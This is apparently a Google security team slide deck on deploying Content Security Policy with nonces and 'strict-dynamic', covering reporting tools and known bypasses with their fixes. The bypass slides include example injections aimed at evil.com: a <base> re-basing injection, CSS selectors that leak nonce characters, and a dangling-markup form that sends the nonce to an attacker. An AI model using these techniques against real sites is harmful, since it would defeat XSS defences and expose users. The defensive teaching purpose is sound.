So we broke all CSPs ...

You won't guess what happened next!
We work in a special focus area of the Google security team aimed at improving product security by targeted proactive projects to mitigate whole classes of bugs.
Recap

what happened last year
Summary

- CSP is mostly used to mitigate XSS
- Most CSPs are based on whitelists
  - >94% automatically bypassable
- Introduced 'strict-dynamic' to ease adoption of policies based on nonces
CSP is Dead, Long Live CSP
On the Insecurity of Whitelists and the Future of Content Security Policy
ACM CCS, 2016, Vienna

https://goo.gl/VRuuFN
Recap: How do CSP Nonces Work?

**Policy based on nonces**

```html
script-src 'nonce-r4nd0m';
object-src 'none'; base-uri 'none';
```

- all `<script>` tags with the correct nonce attribute will get executed
- `<script>` tags injected via XSS will be blocked because of missing nonce
- no host/path whitelists
- no bypasses caused by JSONP-like endpoints on external domains
- no need to go through painful process of crafting/maintaining whitelist

This part needs to be random for every response!
Recap: How do CSP Nonces Work?

Content-Security-Policy:

```
script-src 'nonce-r4nd0m';
report-uri /csp_violation;
```
Recap: How do CSP Nonces Work?

Content-Security-Policy:

```
script-src 'nonce-r4nd0m';
report-uri /csp_violation;
```

- `<script nonce="r4nd0m">doStuff();</script>` - money.example.com
- `<script nonce="r4nd0m" src="/yep.com/x.js">` - money.example.com
- `>'<script src="/attacker.com">` - money.example.com
- `>'<script>alert(42) </script>` - money.example.com

- `<script nonce="r4nd0m">` - yep.com
- `<script nonce="r4nd0m" src="/yep.com/x.js">` - yep.com
- `>'<script src="/attacker.com">` - attacker.com
- `>'<script>alert(42) </script>` - attacker.com

- `script without correct nonce` - money.example.com
- `source neither nonced nor whitelisted` - money.example.com
- `CSP blocks` - money.example.com
- `CSP allows` - money.example.com
- `CSP allows` - yep.com
- `CSP blocks` - attacker.com
- `CSP allows` - attacker.com
- `CSP allows` - money.example.com

money.example.com/csp_violations
Recap: What is 'strict-dynamic'?

Strict policy

```plaintext
script-src 'nonce-r4nd0m' 'strict-dynamic';
object-src 'none'; base-uri 'none';
```

- grant trust transitorily via a one-use token (nonce) instead of listing whitelisted origins
- 'strict-dynamic' in a script-src:
  - discards whitelists (for backward-compatibility)
  - allows JS execution when created via e.g. `document.createElement('script')`
- enables nonce-only CSPs to work in practice
Recap: What is 'strict-dynamic'?

**Strict policy**

```xml
<script nonce="r4nd0m">
    var s = document.createElement("script");
    s.src = "//example.com/bar.js";
    document.body.appendChild(s);
</script>
```

```javascript
<script nonce="r4nd0m">
    var s = "<script ";
    s += "src=//example.com/bar.js"></script>";
    document.write(s);
</script>
```

```javascript
<script nonce="r4nd0m">
    var s = "<script ";
    s += "src=//example.com/bar.js"></script>";
    document.body.innerHTML = s;
</script>
```
Deploying CSP

at Google scale
1 Billion Users
get served a strict CSP

~ 50M CSP Reports
yes, there's a lot of noise :)

> 150 Services
that set a strict CSP header
Google Services with a Strict CSP
CSP Support in Core Frameworks

- strict CSP `on-by-default` for new services
- existing services can be migrated by just switching a flag (e.g. Google+)

- requirements:
  - service-independent CSP configuration
  - conformance tests (disallow inline event handlers)
  - templates that support "auto-noncing"
    - Closure Templates ([example](#))
  - sophisticated monitoring tools
One Policy to Rule Them All!

```
script-src 'nonce-r4nd0m' 'strict-dynamic' 'report-sample' 'unsafe-inline' https:;
object-src 'none'; base-uri 'none';
```

Effective Policy in CSP3 compatible browser (strict-dynamic support)

```
script-src 'nonce-r4nd0m' 'strict-dynamic' 'report-sample' 'unsafe-inline' https:;
object-src 'none'; base-uri 'none';
```
**Example handler**

def handle_request(self, request, response):
    CSP_HEADER = 'Content-Security-Policy'
    # Set random nonce per response
    nonce = base64.b64encode(os.urandom(20))
    csp = "script-src 'nonce-' + nonce + '';">
    self.response.headers.add(CSP_HEADER, csp)

    ijdata = { 'csp_nonce': nonce }
    template_values = {'s': request.get('foo','')}
    self.send_template('example.test', template_values, ijdata)

**Closure template**

{namespace example autoescape="strict"}

{template .test}
{@param? s: string}
<html>
  <script nonce="PRY7hLUXe98MdJAwNoGSdEpGV0A=">
    var s = 'properlyEscapedUserInput';
  </script>
</html>

**Rendered output**

<html>
  <script nonce="PRY7hLUXe98MdJAwNoGSdEpGV0A=">
    var s = 'properlyEscapedUserInput';
  </script>
</html>
SHIP IT !!1

▷ but wait... How do we find out if everything is still working?

▷ CSP violation reports!

▷ Problem
  ○ so far most inline violation reports were NOT actionable :(  
  ○ no way to distinguish between actual breakage and noise from browser extensions...  
  ○ we receive ~50M reports / day → Noise!
New 'report-sample' keyword

Reports generated for inline violations will contain a sample attribute if the relevant directive contains the 'report-sample' expression
New 'report-sample' keyword

▷ *report-sample* governs *script-sample*
  ○ Firefox already sends script "samples"
  ○ new 'report-sample' keyword also includes samples for *inline-event handlers*

▷ added to CSP3 and ships with Chrome 59
### New 'report-sample' keyword

**CSP**

```
script-src 'nonce-abc'; report-uri /csp;
```

<table>
<thead>
<tr>
<th>HTML</th>
<th>Report</th>
</tr>
</thead>
<tbody>
<tr>
<td>Inline script</td>
<td>csp-report:</td>
</tr>
<tr>
<td></td>
<td>blocked-uri:&quot;inline&quot;</td>
</tr>
<tr>
<td></td>
<td>document-uri:&quot;<a href="https://f.bar/foo">https://f.bar/foo</a>&quot;</td>
</tr>
<tr>
<td></td>
<td>effective-directive:&quot;script-src&quot;</td>
</tr>
<tr>
<td>Inline Event Handler</td>
<td>csp-report:</td>
</tr>
<tr>
<td></td>
<td>blocked-uri:&quot;inline&quot;</td>
</tr>
<tr>
<td></td>
<td>document-uri:&quot;<a href="https://f.bar/foo">https://f.bar/foo</a>&quot;</td>
</tr>
<tr>
<td></td>
<td>effective-directive:&quot;script-src&quot;</td>
</tr>
<tr>
<td>script injected by browser extension</td>
<td>csp-report:</td>
</tr>
<tr>
<td></td>
<td>blocked-uri:&quot;inline&quot;</td>
</tr>
<tr>
<td></td>
<td>document-uri:&quot;<a href="https://f.bar/foo">https://f.bar/foo</a>&quot;</td>
</tr>
<tr>
<td></td>
<td>effective-directive:&quot;script-src&quot;</td>
</tr>
</tbody>
</table>

3 different causes of violations yield the exact same report! → not possible to filter out noise from extensions
New 'report-sample' keyword

CSP

```
script-src 'nonce-abc' 'report-sample'; report-uri /csp;
```

HTML

- **Inline script**
  ```html
  <html>
  <script>hello(1)</script>
  ...
  </html>
  ```

- **Inline Event Handler**
  ```html
  <html>
  <img onload="loaded()">
  ...
  </html>
  ```

- **script injected by browser extension**
  ```html
  <html>
  <script>
  try {
  window.AG_onload = function(func)...
  }
  </script>
  ```

Report

- **Inline script**
  ```
csp-report:
  blocked-uri:"inline"
document-uri:"https://f.bar/foo"
effective-directive:"script-src"
script-sample:"hello(1)"
```

- **Inline Event Handler**
  ```
csp-report:
  blocked-uri:"inline"
document-uri:"https://f.bar/foo"
effective-directive:"script-src"
script-sample:"loaded()"
```

- **script injected by browser extension**
  ```
csp-report:
  blocked-uri:"inline"
document-uri:"https://f.bar/foo"
effective-directive:"script-src"
script-sample:"try {
window.AG_onLoad = function(func)...
```
Report Noise

- *script-sample* can be used to create signatures for e.g. noisy browser extensions

<table>
<thead>
<tr>
<th>Count</th>
<th>script-sample</th>
<th>Cause</th>
</tr>
</thead>
<tbody>
<tr>
<td>1,058,861</td>
<td><code>try { var AG_onLoad=function(func){if(d...</code></td>
<td>AdGuard Extension</td>
</tr>
<tr>
<td>424,701</td>
<td><code>(function (a,x,m,l){var c={safeWindow:...</code></td>
<td>Extension</td>
</tr>
<tr>
<td>316,585</td>
<td><code>(function installGlobalHook(window)</code></td>
<td>React Devtools Extension</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>

CSP tools
@Google

time for some real engineering!
CSP Mitigator

▷ fast and easy CSP deployment analysis tool
▷ identifies parts of your application which are not compatible with CSP
▷ helps make necessary changes before deployment

https://goo.gl/oQDEIs
CSP Evaluator csp-evaluator.withgoogle.com

Content Security Policy

```
script-src 'unsafe-inline' 'unsafe-eval' 'self' data: https://www.google.com http://www.google-analytics.com/gtm/js
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.google.com;
default-src 'self' * 127.0.0.1 https://[2a00:7f00:1b:2:b466:5f8d:dc72:f00]/foobar;
img-src https://data:;
child-src data:;
fooar-src 'foobar';
report-uri http://csp.example.com;
```

CSP Version 3 (nonce based + backward compatibility checks)

CHECK CSP

Evaluated CSP as seen by a browser supporting CSP Version 3

- **script-src**: Host whitelists can frequently be bypassed. Consider using 'strict-dynamic' in combination with CSP nonces or hashes.
  - 'unsafe-inline'
  - 'unsafe-eval'
  - 'self'
  - data: https://www.google.com
  - http://www.google-analytics.com/gtm.js
  - https://*.gstatic.com/feedback/
  - https://ajax.googleapis.com

- **style-src**
- **default-src**
- **img-src**
- **child-src**
- **fooar-src**: Directive 'fooar-src' is not a known CSP directive.
- **report-uri**
- **object-src** (missing)

Can you restrict object-src to 'none'?
CSP Frontend

▷ intelligent report deduplication strategies
  ○ aggressive deduplication by default
    ■ leverages 'script-sample'

▷ real-time filtering of violation report fields

▷ ability to drill-down to investigate further
### HIGH-LEVEL VIEW

**Violations count by directive**

- **script-src**: 1,000 violations

**Violations trend by directive**

- **script-src**: Peak at April 10, decreasing thereafter

**Blocked URI**

- `https://pstatic.davebestdeals.com/nwp/v0_0_1148/release/Shared/App/SharedApp.js?t=3` (114)
- `https://cdnjs.org` (25)
- `https://ezb.elvenmachine.com/affs?addname=%5Bads%5D&clientuid=%5BEnter+Client+UID%5D&subID=spider1&affid=9652&subaffid=1003` (23)

### VIOLATIONS

**Count**

- 114
- 39
- 36
- 36
- 29

**Last Document URI**

- `https://spaces.google.com/404`
- `https://pstatic.davebestdeals.com/nwp/v0_0_1148/release/Shared/App/SharedApp.js?t=3`
- `https://spaces.google.com/space/324084005`
- `https://spaces.google.com/space/8026557025427743851`

**Last Blocked URI**

- `https://pstatic.davebestdeals.com/nwp/v0_0_1148/release/Shared/App/SharedApp.js?t=3`
- `<empty>`
- `<empty>`
- `<empty>`
- `<empty>`

**Directive**

- **script-src**
- **<empty>**

**Sample**

- `<empty>`
- onfocusin attribute on DIV element
- `<empty>`
- `<empty>`
- `<empty>`

**Last Browser**

- Chrome/57
- Firefox/52
- Chrome/57
- Chrome/57
- Chrome/57

**Last Seen**

- 2017-04-09 18:54:30
- 2017-04-10 21:46:36
- 2017-04-11 04:15:01
- 2017-04-11 14:25:43
- 2017-04-09 18:54:26

**User Agent**

- 4/2/2017
- 4/11/2017
# Detailed CSP Violation Reports View

<table>
<thead>
<tr>
<th>Count</th>
<th>Last Seen</th>
<th>Last Document URI</th>
<th>Last Blocked URI</th>
<th>Directive</th>
<th>Sample</th>
<th>Last Browser</th>
</tr>
</thead>
</table>
Measuring Coverage

▷ monitor CSP header coverage for HTML responses

▷ alerts
  ○ no CSP
  ○ bad CSP
    ■ evaluated by the CSP Evaluator automatically
What can go wrong?
bypasses and how to deal with them
Injection of `<base>`

```html
<script-src 'nonce-r4nd0m';

<!-- XSS -->
<base href="https://evil.com/">
<!-- End XSS -->
...
<script src="foo/bar.js" nonce="r4nd0m"></script>
```

▶ Problem
- re-basing nonced scripts to evil.com
- scripts will execute because they have a valid nonce :(

Credit: @jackmasa
http://sebastian-lekies.de/csp/bypasses.php
Injection of `<base>`

```plaintext
script-src 'nonce-r4nd0m';
base-uri 'none';
```

```html
<!-- XSS -->
<base href="https://evil.com/">
<!-- End XSS -->
...
<script src="foo/bar.js" nonce="r4nd0m"></script>
```

▷ **Solution**

- add `base-uri 'none'`
- or `'self'`, if `'none'` is not feasible and there are no path-based open redirectors on the origin

Credit: @jackmasa

Replace Legitimate `<script#src>`

Problem

- SVG `<set>` can change attributes of other elements in Chromium

Solution

- prevent SVG from animating `<script>` attributes *(fixed in Chrome 58)*

Credit: Eduardo Vela Nava
http://sebastian-lekies.de/csp/bypasses.php
Steal and Reuse Nonces

via CSS selectors

```html
<!-- XSS -->
<style>
script { display: block }
script[nonce^="a"]:after { content: url("record?a") }
script[nonce^="b"]:after { content: url("record?b") }
</style>
<!-- End XSS -->
<script src="foo/bar.js" nonce="r4nd0m"></script>
```
Steal and Reuse Nonces

via dangling markup attack

Credit: Eduardo Vela Nava, Sebastian Lekies
http://sebastian-lekies.de/csp/bypasses.php

<!-- XSS --> <form method="post" action="//evil.com/form">
<input type="submit" value="click"><textarea name="nonce">
<!-- End XSS -->
<script src="foo/bar.js" nonce="r4nd0m"></script>
Steal and **Reuse Nonces**

- make the browser **reload** the original document without triggering a server request: HTTP cache, AppCache, browser B/F cache

```html
victimFrame.src = "data:text/html,<script>history.back()</script>"
```
Steal and **Reuse Nonces**

- exploit cases where attacker can trigger the **XSS multiple times**
  - XSS due to data received via `postMessage()`
  - persistent DOM XSS where the payload is fetched via XHR and "re-synced"

Credit: Sebastian Lekies
http://sebastian-lekies.de/csp/bypasses.php
Mitigating Bypasses

▷ injection of `<base>`
  ○ fixed by adding `base-uri 'none'`

▷ replace legitimate `<script#src>` (Chrome bug)
  ○ fixed in Chrome 58+

▷ prevent exfiltration of nonce
  ■ do not expose the nonce to the DOM at all
  ● during parsing, replace the nonce attribute with a dummy value (`nonce="[Replaced]"`)  
  ● fixed in Chrome 59+
Mitigating Bypasses

▷ mitigating dangling markup attacks?
  ■ precondition:
    ● needs parser-inserted sink like `document.write` to be exploitable
  ■ proposal to forbid parser-inserted sinks (opt-in) - fully compatible with `strict-dynamic` and enforces best coding practices
Mitigating Bypasses
JS framework-based CSP Bypasses

▷ strict CSP protects from traditional XSS

▷ commonly used libraries and frameworks introduce bypasses
  ○ eval-like functionality using a non-script DOM element as a source
  ○ a problem only with unsafe-eval or with strict-dynamic if done through createElement('script')

Credit: Sebastian Lekies
http://sebastian-lekies.de/csp/bypasses.php
JS framework Bypass Mitigations

▷ make the library CSP-aware
   ○ introduce nonce checking in JS

▷ example: jQuery 2.x
   ○ via $.html, $.append/prepend, $.replaceWith ...
   ○ parses <script>...</script> and puts it in a dynamically generated script tag or through eval
jQuery 2.2 Script Evaluation Logic

```javascript
// Evaluates a script in a global context
globalEval: function( code ) {
    var script,
        indirect = eval;

    code = jQuery.trim( code );

    if ( code ) {
        // If the code includes a valid, prologue position
        // strict mode pragma, execute code by injecting a
        // script tag into the document.
        if ( code.indexOf( "use strict" ) === 1 ) {
            script = document.createElement( "script" );
            script.text = code;
            document.head.appendChild( script ).parentNode.removeChild( script );
        } else {
            // Otherwise, avoid the DOM node creation, insertion
            // and removal by using an indirect global eval
            indirect( code );
    }

},
```
How We Patched jQuery at Google

```
// Evaluates a script in a global context
globalEval: function( code ) {
    var script,
        indirect = eval;

    code = jQuery.trim( code );

    if ( code ) {
        // You should not be here :)
        throw new Error("You should not be here :)");
    }
},
```
Wrapping up

get your questions ready!
# Current state of CSP

<table>
<thead>
<tr>
<th>CSP type</th>
<th>Deployment difficulty</th>
<th>Reflected XSS</th>
<th>Stored XSS</th>
<th>DOM XSS</th>
<th>Whitelist bypasses (JSONP, ...)</th>
<th>Nonce exfiltration / reuse techniques</th>
<th>Framework-based / gadgets</th>
</tr>
</thead>
<tbody>
<tr>
<td>Whitelist-based</td>
<td>😞</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✔</td>
<td>—</td>
<td>➡ 1</td>
</tr>
<tr>
<td>Nonce-only</td>
<td>😞</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>—</td>
<td>✔</td>
<td>➡ 2</td>
</tr>
<tr>
<td>Nonce + 'strict-dynamic'</td>
<td>😊</td>
<td>✔</td>
<td>✔</td>
<td>—</td>
<td>—</td>
<td>✔</td>
<td>➡</td>
</tr>
<tr>
<td>Hash-only</td>
<td>😞</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>—</td>
<td>—</td>
<td>➡ 2</td>
</tr>
<tr>
<td>Hash + 'strict-dynamic'</td>
<td>😞</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>—</td>
<td>—</td>
<td>✔</td>
</tr>
</tbody>
</table>

1. Only if frameworks with symbolic JS execution capabilities are hosted on a whitelisted origin
2. Only if frameworks with symbolic JS execution capabilities are running on the page
3. Applies to "unpatched" browsers (latest Chromium not affected)
4. Several constraints apply: framework/library used, modules loaded, ...
Wrapping Up

▷ CSP whitelists are broken
▷ nonces + strict-dynamic greatly simplify CSP rollout
▷ CSP is not a silver bullet
  ○ there are bypasses with various pre-conditions and constraints
▷ Overall CSP is still a very powerful defense-in-depth mechanism to mitigate XSS
Thanks!

Any questions?

Learn more at: csp.withgoogle.com

@mikispag
@we1x
{lwe,mikispag}@google.com